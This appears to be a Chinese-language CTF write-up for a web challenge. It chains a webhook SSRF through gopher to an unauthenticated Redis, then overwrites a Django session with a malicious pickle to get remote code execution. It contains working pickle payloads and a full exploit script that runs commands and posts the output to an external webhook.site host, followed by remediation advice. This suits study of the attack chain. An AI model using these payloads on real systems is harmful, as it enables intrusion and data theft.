{"url": "http://127.1:8000/api/v1/status/"}

返回:

{
  "message": "Webhook notification sent",
  "log": {
    "status_code": 200,
    "response_body": "{\"service\": \"DataPulse Analytics Platform\", ...}",
    "error": ""
  }
}

3.2 内网端口探测

通过 127.1 对内网端口进行探测,发现:

端口

服务

8000

应用自身(gunicorn)

6379

Redis(返回 Remote end closed connection without response)

6379 端口的存在说明存在 Redis 服务,结合平台使用 Celery 任务队列,可以确定 Redis 就是任务队列/缓存后端。

四、Gopher 打 Redis

4.1 协议支持

Webhook 后端使用 Python urllib,支持 gopher:// 协议。创建任务时虽然 file:// 被拒绝,但 gopher:// 可以通过,并且在 retry-webhook 中能够正常发起请求。

Gopher 请求格式:

gopher://127.1:6379/_<URL 编码后的原始数据>

测试 PING:

gopher://127.1:6379/_PING%0d%0a

Webhook 日志返回:

+PONG

说明可以通过 gopher 直接与 Redis 通信,且 Redis 未设置密码(nopass,+@all)。

4.2 Redis 信息收集

Redis RESP 协议格式:

*<参数个数>\r\n
$<参数长度>\r\n<参数>\r\n
...

编写一个通过 retry-webhook 发送 Redis 命令的辅助函数:

import urllib.parse

def redis_cmds(client, task_id, cmds):
    payload = b""
    for cmd in cmds:
        payload += ("*%d\r\n" % len(cmd)).encode()
        for arg in cmd:
            if isinstance(arg, str):
                arg = arg.encode()
            payload += b"$%d\r\n%s\r\n" % (len(arg), arg)
    url = "gopher://127.1:6379/_" + urllib.parse.quote(payload, safe="")
    r = client.retry(task_id, url)
    return r.json()["log"]["response_body"]

执行 INFO 得到:

redis_version:7.0.15
executable:/app/redis-server
config_file:/etc/redis/datapulse.conf

KEYS * 可以看到两类关键数据:

  • db0:Celery 相关键,如 celery-task-meta-*、dp:heartbeat:*、_kombu.binding.celery
  • db1:Django Session,如 :1:django.contrib.sessions.cache<session_id>

INFO keyspace:

db0:keys=46,expires=44
db1:keys=22,expires=22

4.3 Session 存储结构

当前登录 Cookie:

dp_session=<32位随机字符串>

对应 Redis 键:

:1:django.contrib.sessions.cache<session_id>

读取自身 Session:

SELECT 1
GET :1:django.contrib.sessions.cache<session_id>

得到的值是一段 Python Pickle 数据,反序列化后为:

{"user_id": 1, "role": "analyst"}

此外 Redis 中还存在 fake_admin_session_1 / fake_admin_session_2 等干扰项,内容为:

{"user_id": 819, "role": "admin", "_auth_user_hash": "fake_hash_do_not_use"}

这些是题目设置的诱导项,并非真实管理员 Session。

五、Django Session Pickle 反序列化 RCE

5.1 漏洞原理

Django 的缓存 Session 后端会把整个 Session 字典用 Pickle 序列化后存入缓存(本项目为 Redis)。应用在每次请求时都会从 Redis 取出 Session 并 pickle.loads,因此只要能向 Redis 写入任意 Session 值,就能在 Web 进程中触发 Pickle 反序列化,从而执行任意命令。

由于已经可以通过 gopher 操作 Redis,攻击链为:

Webhook SSRF -> gopher -> Redis -> 篡改 Django Session -> Pickle 反序列化 -> RCE

5.2 踩坑:自定义类的 Pickle 不可用

最初构造了如下 Payload:

class Evil:
    def __reduce__(self):
        return (os.system, ("id",))

payload = pickle.dumps(Evil())

这种 Payload 在本地可以执行,但在目标上无效。原因是 Pickle 中保存的是 __main__.Evil 这个类引用,目标进程的 __main__ 中没有 Evil 类,反序列化时会先报 Can't get attribute 'Evil',__reduce__ 根本不会被调用。

5.3 正确 Payload

需要直接引用目标环境中存在的全局函数,例如 os.system 或 builtins.exec。

使用 os.system 的协议 0 Payload:

def os_system_pickle(cmd: str) -> bytes:
    esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
    return ("cos\nsystem\n(S'" + esc + "'\ntR.").encode()

等价于:

c os
system
( S'<command>'
t R .

其中:

  • c:GLOBAL,引用 os.system
  • S'...':压入命令字符串
  • t:构造元组
  • R:REDUCE,即调用 os.system(command)

也可以手工构造 builtins.exec:

import struct

def exec_pickle(code: str) -> bytes:
    b = code.encode()
    return b"\x80\x02cbuiltins\nexec\nX" + struct.pack("<I", len(b)) + b + b"\x85R."

5.4 写入 Session 并触发

步骤:

  1. 正常登录,获得 dp_session;
  2. 通过 gopher 执行 Redis 命令:
SELECT 1
SET :1:django.contrib.sessions.cache<session_id> <恶意 Pickle>
  1. 携带原 Cookie 访问任意需要 Session 的页面,例如 /dashboard/;
  2. Django 加载 Session 时触发 pickle.loads,命令执行。

触发后页面可能返回 500(因为 Pickle 的返回值不是字典),但命令已经执行。

5.5 命令执行验证

第一次利用时,通过 os.system 执行一条向 webhook.site 回传信息的命令,确认 RCE 成功:

uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/app
endpoint-1205aa8f91964e378a5fcf82f5a33376-0

说明命令在 Web 应用进程中以 ctf 用户身份执行。

六、读取 Flag

执行 ls -la /,发现:

-r-------- 1 root root   41 Oct 24 00:23 flag.txt
-rwsr-xr-x 1 root root 16312 Sep 28 21:08 readflag

/flag.txt 权限为 400,当前 ctf 用户无法直接读取;但根目录下存在一个 setuid 程序 /readflag,其属主为 root 且带 s 位,可以直接执行读取 flag:

/readflag

通过 Session Pickle RCE 执行:

/readflag > /tmp/flag_out.txt 2>&1

回传结果:

DASCTF{30433301935994253763448862053766}
EXIT:0

七、完整利用脚本

以下脚本省略了注册/登录细节,核心逻辑是:登录 -> 创建带 Webhook 的任务 -> 通过 gopher 写 Session -> 触发反序列化 -> 执行 /readflag 并回传。

import base64
import pickle
import time
import urllib.parse

import requests

BASE = "http://1.14.76.59:27575"
USERNAME = "pulse12064"
PASSWORD = "Passw0rd!123"
HOOK = "https://webhook.site/<your-token>"


def os_system_pickle(cmd: str) -> bytes:
    esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
    return ("cos\nsystem\n(S'" + esc + "'\ntR.").encode()


class Client:
    def __init__(self):
        self.s = requests.Session()
        self.s.headers.update({"User-Agent": "Mozilla/5.0"})
        r = self.s.post(
            BASE + "/login/",
            json={"username": USERNAME, "password": PASSWORD},
            timeout=20,
        )
        if r.status_code != 200:
            self.s.post(
                BASE + "/register/",
                json={"username": USERNAME, "password": PASSWORD, "email": ""},
                timeout=20,
            )
            self.s.post(
                BASE + "/login/",
                json={"username": USERNAME, "password": PASSWORD},
                timeout=20,
            )

    def req(self, method, path, **kwargs):
        for _ in range(6):
            r = self.s.request(method, BASE + path, timeout=25, **kwargs)
            if r.status_code not in (502, 503, 504):
                return r
            time.sleep(1)
        return r

    def create_task(self):
        r = self.req(
            "POST",
            "/tasks/create/",
            json={
                "name": "exploit",
                "type": "csv_analysis",
                "parameters": {"data": "a\n1"},
                "webhook_url": "http://example.com/",
            },
        )
        return r.json()["task_id"]

    def retry(self, task_id, url):
        return self.req(
            "POST",
            f"/tasks/{task_id}/retry-webhook/",
            json={"url": url},
        )


def redis_cmds(client, task_id, cmds):
    payload = b""
    for cmd in cmds:
        payload += ("*%d\r\n" % len(cmd)).encode()
        for arg in cmd:
            if isinstance(arg, str):
                arg = arg.encode()
            payload += b"$%d\r\n%s\r\n" % (len(arg), arg)

    url = "gopher://127.1:6379/_" + urllib.parse.quote(payload, safe="")
    r = client.retry(task_id, url)
    return r.json().get("log", {}).get("response_body")


def main():
    c = Client()
    task_id = c.create_task()
    session_id = c.s.cookies.get("dp_session")
    session_key = ":1:django.contrib.sessions.cache" + session_id

    # 使用 base64 避免引号问题
    script = (
        "/readflag > /tmp/flag_out.txt 2>&1\n"
        "python3 -c \"import urllib.request;"
        "d=open('/tmp/flag_out.txt','rb').read();"
        "req=urllib.request.Request('%s', data=d, method='POST');"
        "print(urllib.request.urlopen(req, timeout=10).status)\""
    ) % HOOK
    cmd = "echo %s | base64 -d | sh" % base64.b64encode(script.encode()).decode()

    payload = os_system_pickle(cmd)

    print(redis_cmds(c, task_id, [
        ["SELECT", "1"],
        ["SET", session_key, payload],
    ]))

    # 触发 Session 反序列化
    c.req("GET", "/dashboard/")


if __name__ == "__main__":
    main()

八、修复建议

  1. Webhook 地址校验
  • 使用严格的 URL 解析,限制协议为 http/https;
  • 禁止 gopher/dict/file 等协议;
  • 解析域名后校验 IP,禁止回环、内网、链路本地地址;
  • 禁止跟随重定向,或对重定向目标再次校验。
  1. Redis 安全
  • 设置强密码,禁止未授权访问;
  • 绑定 127.0.0.1 或内网地址,并通过安全组隔离;
  • 禁用或重命名 CONFIG、MODULE、SLAVEOF 等危险命令。
  1. Session 安全
  • 不要使用 Pickle 作为 Session 序列化方式;
  • 使用签名且不可篡改的 Session(如 Django 默认的签名 Cookie 或 JSON Session);
  • Session 数据中不要信任客户端可控内容。
  1. 权限最小化
  • 容器内不要保留 setuid 程序;
  • flag 文件权限应严格控制,避免通过应用进程读取。

九、Flag

DASCTF{30433301935994253763448862053766}

4. 统一复盘

题型之间的共同点

  • 多数题目都把最终目标拆成多个状态或多层服务,需要先还原协议、对象图或状态机,再定位真正的读 flag 路径。
  • 题目普遍存在看似可行但无法闭环的干扰项:例如直接读文件、直接覆盖返回地址、只按表面语义模拟 VM,最终都需要回到真实的校验链。
  • 复现时应保留每一步的泄露值、状态快照、关键地址和中间输出,用差分验证替代一次性猜测。

按类别整理的关键方法

  • PWN:先确认输入边界与内存对象生命周期,再处理地址泄露、写原语、协议认证和控制流劫持;多级服务题要沿着当前进程能做什么、下一层需要什么逐层推进。
  • 逆向:先建立准确的 ISA/状态布局,再做局部模拟与逐轮快照对照;可逆变换优先求逆,不要直接爆破。
  • WEB:先验证 SSRF 的可达范围,再判断内网服务协议是否可构造,随后审查服务端状态存储与反序列化边界,最后确认命令执行与 flag 读取权限。

文件来源

  • 羊城杯2026-WP汇总.md:PWN 与其他题目进展汇总。
  • ycb_wp.md:千千的咲、VVMM 两题的逆向 Writeup。
  • DataPulse_Writeup.md:DataPulse WEB 题 Writeup。